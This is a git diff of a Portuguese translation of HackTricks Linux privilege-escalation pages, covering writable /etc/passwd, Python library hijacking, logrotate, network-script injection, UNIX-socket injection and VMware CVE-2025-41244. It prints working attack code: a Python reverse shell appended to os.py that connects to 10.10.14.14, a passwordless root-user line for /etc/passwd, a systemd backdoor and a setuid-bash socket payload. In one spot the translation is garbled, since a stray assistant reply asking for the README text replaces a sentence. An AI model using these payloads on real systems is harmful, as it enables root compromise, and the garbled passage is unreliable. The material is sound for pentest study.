host**. -Você precisa definir essa opção em `$HOME/.ssh.config` assim: +Você precisa definir esta opção em `$HOME/.ssh.config` desta forma: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*` toda vez que o usuário se conecta a uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Observe que se `Host` for `*`, toda vez que o usuário se conectar a uma máquina diferente, essa máquina poderá acessar as chaves (o que é um problema de segurança). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (padrão é permitir). +O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a diretiva `AllowAgentForwarding` (padrão: allow). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Se você descobrir que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **você pode conseguir abusar disso para escalar privilégios**: {{#ref}} @@ -1263,17 +1265,17 @@ ssh-forward-agent-exploitation.md ## Arquivos Interessantes -### Arquivos de perfil +### Arquivos de profile -O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, você pode escalar privilégios**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, poderá escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. +Se for encontrado algum script de perfil estranho, você deve verificá-lo em busca de **detalhes sensíveis**. ### Arquivos Passwd/Shadow -Dependendo do sistema operacional, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você consegue lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do sistema operacional, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, recomenda-se **encontrar todos eles** e **verificar se você consegue lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1284,31 +1286,38 @@ Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd gravável +### Gravável /etc/passwd -Primeiro, gere uma password com um dos seguintes comandos. +Primeiro, gere uma senha com um dos seguintes comandos. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Em seguida, adicione o usuário `hacker` e insira a senha gerada. +Preciso do conteúdo de src/linux-hardening/privilege-escalation/README.md para traduzir. Você pode colar o texto aqui? + +Sobre "Then add the user `hacker` and add the generated password.": quer que eu +- gere uma senha forte e inclua no README traduzido (em texto claro), e adicione um trecho com os comandos shell (useradd, passwd) a serem inseridos no arquivo? +ou +- apenas um snippet de exemplo com comandos, sem colocar a senha em claro? + +Diga qual opção prefere e cole o conteúdo do README.md. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Você agora pode usar o comando `su` com `hacker:hacker` Alternativamente, você pode usar as linhas a seguir para adicionar um usuário fictício sem senha.\ -AVISO: isso pode comprometer a segurança atual da máquina. +AVISO: isso pode degradar a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso `/etc/shadow` foi renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1319,15 +1328,15 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Seu backdoor será executado na próxima vez que o tomcat for iniciado. +Seu backdoor será executado na próxima vez que tomcat for iniciado. -### Verificar Pastas +### Verificar Diretórios -As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) +Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Localização Estranha/Owned files +### Localização Estranha/Arquivos Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1348,7 +1357,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos DB Sqlite +### Arquivos DB do Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1360,7 +1369,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries no PATH** +### **Script/Binaries em PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1378,20 +1387,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Arquivos conhecidos que contêm senhas -Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura **vários arquivos que podem conter senhas**.\ +Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos possíveis que podem conter senhas**.\ **Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você consegue ler logs, talvez consiga encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho for o log, mais interessante ele provavelmente será.\ -Além disso, alguns **audit logs** configurados de forma “**bad**” (backdoored?) podem permitir que você **registre senhas** dentro dos audit logs, como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você conseguir ler logs, pode conseguir encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log, mais interessante ele provavelmente será (provavelmente).\ +Além disso, alguns **mal** configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para ler logs, o grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. +Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. -### Shell files +### Arquivos de shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1404,59 +1413,59 @@ Para ler logs, o grupo [**adm**](interesting-groups-linux-pe/index.html#adm-grou ``` ### Generic Creds Search/Regex -Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também verificar por IPs e emails dentro de logs, ou hashes regexps.\ -Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode checar os últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também checar IPs e e-mails dentro de logs, ou regexps de hashes.\ +Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Arquivos graváveis ### Python library hijacking -Se você souber de **onde** um script python será executado e você **puder escrever nesse diretório** ou você puder **modificar python libraries**, você pode modificar a OS library e backdoorá-la (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber de **onde** um script python vai ser executado e você **puder escrever dentro** dessa pasta ou puder **modificar python libraries**, você pode modificar a OS library e backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -Para **backdoor the library** basta adicionar no final da biblioteca os.py a seguinte linha (mude IP e PORT): +Para **backdoor the library** basta adicionar ao final da os.py library a seguinte linha (altere IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploração do logrotate -Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios elevados. Isso acontece porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs é aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso acontece porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Esta vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores +> Esta vulnerabilidade afeta `logrotate` na versão `3.18.0` e anteriores -Informações mais detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Essa vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se pode escalar privilégios substituindo os logs por symlinks. +Essa vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se é possível escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** conseguir **ajustar** um existente, então seu sistema está **pwned**. +Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então o seu **system is pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Contudo, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o `NAME=` atribuído nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. -Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Observe o espaço em branco entre Network e /bin/id_) +(_Note o espaço em branco entre Network e /bin/id_) -### **init, init.d, systemd e rc.d** +### **init, init.d, systemd, and rc.d** -O diretório `/etc/init.d` contém **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` serviços. Estes podem ser executados diretamente ou por meio de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` abriga **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um sistema de **gerenciamento de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts SysVinit ainda são utilizados junto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. -O systemd surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons on-demand, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons sob demanda, gerenciamento de automount e snapshots de estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e em `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. -## Outros Truques +## Outros Tricks ### NFS Privilege escalation @@ -1481,7 +1490,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks costumam interceptar um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, verificações de assinatura baseadas na ordem de FD — FD-order — ou esquemas de senha fracos) pode permitir que um app local se faça passar pelo manager e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks comumente hookam um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, checagens de assinatura baseadas em FD-order ou esquemas de senha pobres) pode permitir que um app local se passe pelo manager e escale para root em dispositivos já enraizados. Saiba mais e detalhes de exploração aqui: {{#ref}} @@ -1490,39 +1499,39 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -A descoberta de serviços baseada em regex no VMware Tools/Aria Operations pode extrair um caminho binário das linhas de comando dos processos e executá-lo com -v sob um contexto privilegiado. Padrões permissivos (por exemplo, usando \S) podem casar com listeners staged pelo atacante em locais graváveis (por exemplo, /tmp/httpd), levando à execução como root (CWE-426 Untrusted Search Path). +A descoberta de serviços dirigida por regex no VMware Tools/Aria Operations pode extrair um caminho de binário a partir de linhas de comando de processos e executá-lo com -v sob um contexto privilegiado. Padrões permissivos (por exemplo, usando \S) podem casar com listeners colocados por um atacante em locais graváveis (por exemplo, /tmp/httpd), levando à execução como root (CWE-426 Untrusted Search Path). -Saiba mais e veja um padrão generalizado aplicável a outros stacks de discovery/monitoring aqui: +Saiba mais e veja um padrão generalizado aplicável a outras stacks de discovery/monitoring aqui: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Proteções de Segurança do Kernel +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mais ajuda +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Melhor ferramenta para procurar vetores de Linux local privilege escalation:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilidades do kernel em Linux e macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Compilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referências +## References - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index f69cad9c2..ad97fc159 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python +## Exemplo de socket binding com Python -No exemplo a seguir, um **unix socket é criado** (`/tmp/socket_test.s`) e tudo o que for **recebido** será **executado** por `os.system`. Sei que você não vai encontrar isso em ambiente real, mas o objetivo deste exemplo é mostrar como um código que usa unix sockets se parece, e como lidar com a entrada no pior caso possível. +No exemplo a seguir um **unix socket é criado** (`/tmp/socket_test.s`) e tudo que for **recebido** será **executado** por `os.system`. Sei que você não vai encontrar isso na natureza, mas o objetivo deste exemplo é ver como um código que usa unix sockets se parece, e como gerenciar a entrada no pior caso possível. ```python:s.py import socket import os, os.path @@ -37,17 +37,17 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` -## Estudo de caso: elevação acionada por sinal em socket UNIX de propriedade do root (LG webOS) +## Estudo de caso: escalada acionada por signal em UNIX socket de propriedade do root (LG webOS) -Alguns daemons privilegiados expõem um socket UNIX de propriedade do root que aceita entrada não confiável e associa ações privilegiadas a thread-IDs e sinais. Se o protocolo permitir que um cliente não privilegiado influencie qual thread nativa é alvo, você pode conseguir acionar um caminho de código privilegiado e escalar privilégios. +Alguns daemons privilegiados expõem um UNIX socket de propriedade do root que aceita entrada não confiável e vincula ações privilegiadas a thread-IDs e signals. Se o protocolo permitir que um cliente não privilegiado influencie qual native thread é alvo, você pode conseguir acionar um caminho de código privilegiado e escalar. -Padrão observado: -- Conectar-se a um socket de propriedade do root (por exemplo, /tmp/remotelogger). -- Criar uma thread e obter seu id nativo de thread (TID). -- Enviar o TID (empacotado) mais padding como uma requisição; receber um reconhecimento. -- Enviar um sinal específico para esse TID para acionar o comportamento privilegiado. +Observed pattern: +- Connect to a root-owned socket (e.g., /tmp/remotelogger). +- Create a thread and obtain its native thread id (TID). +- Send the TID (packed) plus padding as a request; receive an acknowledgement. +- Deliver a specific signal to that TID to trigger the privileged behaviour. -Esboço mínimo de PoC: +Minimal PoC sketch: ```python import socket, struct, os, threading, time # Spawn a thread so we have a TID we can signal @@ -59,14 +59,14 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f ``` Notas: -- Esta classe de bugs surge ao confiar em valores derivados do estado do cliente sem privilégios (TIDs) e vinculá-los a signal handlers ou lógica privilegiada. -- Mitigue exigindo credenciais no socket, validando formatos de mensagens e desacoplando operações privilegiadas de thread identifiers fornecidos externamente. +- Essa classe de bugs surge de confiar em valores derivados do estado de cliente não privilegiado (TIDs) e vinculá-los a manipuladores de sinal privilegiados ou à lógica privilegiada. +- Endureça aplicando verificação de credenciais no socket, validando formatos de mensagens e desacoplando operações privilegiadas de identificadores de thread fornecidos externamente. ## Referências diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md index 9a977c833..cccc5848a 100644 --- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -2,22 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -Esta técnica explora pipelines de descoberta de serviços dirigidas por regex que analisam as linhas de comando dos processos em execução para inferir versões dos serviços e então executar um binário candidato com uma flag de "version". Quando padrões permissivos aceitam caminhos não confiáveis controlados pelo atacante (por exemplo, /tmp/httpd), o coletor privilegiado executa um binário arbitrário de um local não confiável, resultando em elevação de privilégio local. A NVISO documentou isso na Service Discovery do VMware Tools/Aria Operations como CVE-2025-41244. +Esta técnica abusa de pipelines de descoberta de serviço impulsionadas por regex que analisam as linhas de comando de processos em execução para inferir versões de serviço e então executam um binário candidato com uma flag "version". Quando padrões permissivos aceitam caminhos não confiáveis controlados pelo atacante (ex.: /tmp/httpd), o coletor privilegiado executa um binário arbitrário a partir de uma localização não confiável, resultando em elevação de privilégio local. NVISO documentou isso no VMware Tools/Aria Operations Service Discovery como CVE-2025-41244. - Impacto: Elevação de privilégio local para root (ou para a conta de descoberta privilegiada) -- Causa raiz: Untrusted Search Path (CWE-426) + correspondência regex permissiva das linhas de comando dos processos -- Afetado: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) +- Causa raiz: Untrusted Search Path (CWE-426) + correspondência permissiva por regex das linhas de comando dos processos +- Afetados: open-vm-tools/VMware Tools no Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) -## Como funciona a descoberta de serviços do VMware (visão geral) +## How VMware service discovery works (high level) -- Credential-based (legado): Aria executa scripts de descoberta dentro do guest via VMware Tools usando credenciais privilegiadas configuradas. -- Credential-less (moderno): A lógica de descoberta roda dentro do VMware Tools, já com privilégios no guest. +- Credential-based (legacy): Aria executa discovery scripts dentro do guest via VMware Tools usando credenciais privilegiadas configuradas. +- Credential-less (modern): A lógica de discovery roda dentro do VMware Tools, já privilegiada no guest. -Ambos os modos acabam executando lógica de shell que escaneia processos com sockets de escuta, extrai um caminho de comando correspondente via uma regex e executa o primeiro token argv com uma flag de versão. +Ambos os modos, em última instância, executam lógica de shell que escaneia processos com listening sockets, extrai um caminho de comando correspondente via regex, e executa o primeiro token de argv com uma flag de versão. -## Causa raiz e padrão vulnerável (open-vm-tools) +## Root cause and vulnerable pattern (open-vm-tools) -No open-vm-tools, o script do plugin serviceDiscovery get-versions.sh casa binários candidatos usando expressões regulares amplas e executa o primeiro token sem qualquer validação de caminho confiável: +No open-vm-tools, o script do plugin serviceDiscovery get-versions.sh corresponde binários candidatos usando expressões regulares amplas e executa o primeiro token sem qualquer validação de caminho confiável: ```bash get_version() { PATTERN=$1 @@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") done } ``` -Ele é invocado com padrões permissivos contendo \S (sem espaços em branco) que irão corresponder facilmente a caminhos fora do sistema em locais graváveis pelo usuário: +É invocado com padrões permissivos contendo \S (não é espaço em branco) que irão corresponder sem problemas a caminhos não do sistema em locais graváveis pelo usuário: ```bash get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v get_version "/usr/(bin|sbin)/apache\S*" -v @@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v get_version "/\S+/srm/bin/vmware-dr($|\s)" --version get_version "/\S+/dataserver($|\s)" -v ``` -- A extração usa grep -Eo e pega o primeiro token: ${COMMAND%%[[:space:]]*} -- Não há whitelist/allowlist de trusted system paths; qualquer discovered listener com um nome correspondente é executado com -v/--version +- Extração usa grep -Eo e pega o primeiro token: ${COMMAND%%[[:space:]]*} +- Não há whitelist/allowlist de caminhos do sistema confiáveis; qualquer listener descoberto com um nome correspondente é executado com -v/--version -This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. +Isso cria uma primitiva de execução por caminho de busca não confiável: binários arbitrários localizados em diretórios graváveis por qualquer usuário (por exemplo, /tmp/httpd) são executados por um componente privilegiado. -## Exploitation (both credential-less and credential-based modes) +## Exploração (modos sem credenciais e com credenciais) -Pré-requisitos -- Você pode executar um processo sem privilégios que abra um listening socket no guest. -- A discovery job está habilitada e roda periodicamente (historicamente ~5 minutos). +Precondições +- Você pode executar um processo não privilegiado que abre um socket de escuta no guest. +- O discovery job está habilitado e é executado periodicamente (historicamente ~5 minutos). Etapas -1) Coloque (stage) um binário em um caminho que corresponda a um dos regexes permissivos, e.g. /tmp/httpd or ./nginx -2) Execute-o como um usuário com poucos privilégios e assegure-se de que ele abra qualquer listening socket -3) Espere pelo ciclo de discovery; o privileged collector executará automaticamente: /tmp/httpd -v (or similar), rodando seu programa como root +1) Coloque um binário em um caminho que corresponda a um dos regex permissivos, por exemplo /tmp/httpd ou ./nginx +2) Execute-o como um usuário com poucos privilégios e certifique-se de que ele abra qualquer socket de escuta +3) Aguarde o ciclo de discovery; o collector privilegiado irá executar automaticamente: /tmp/httpd -v (ou similar), executando seu programa como root -Minimal demo (using NVISO’s approach) +Demonstração mínima (usando a abordagem da NVISO) ```bash # Build any small helper that: # - default mode: opens a dummy TCP listener @@ -65,57 +65,57 @@ chmod +x /tmp/httpd /tmp/httpd # run as low-priv user and wait for the cycle # After the next cycle, expect a root shell or your privileged action ``` -Linagem típica de processo +Sequência típica de processos - Com credenciais: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i - Sem credenciais: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i Artefatos (com credenciais) -SDMP wrapper scripts recuperados em /tmp/VMware-SDMP-Scripts-{UUID}/ podem mostrar a execução direta do caminho malicioso: +Scripts wrapper SDMP recuperados em /tmp/VMware-SDMP-Scripts-{UUID}/ podem mostrar a execução direta do caminho malicioso: ```bash 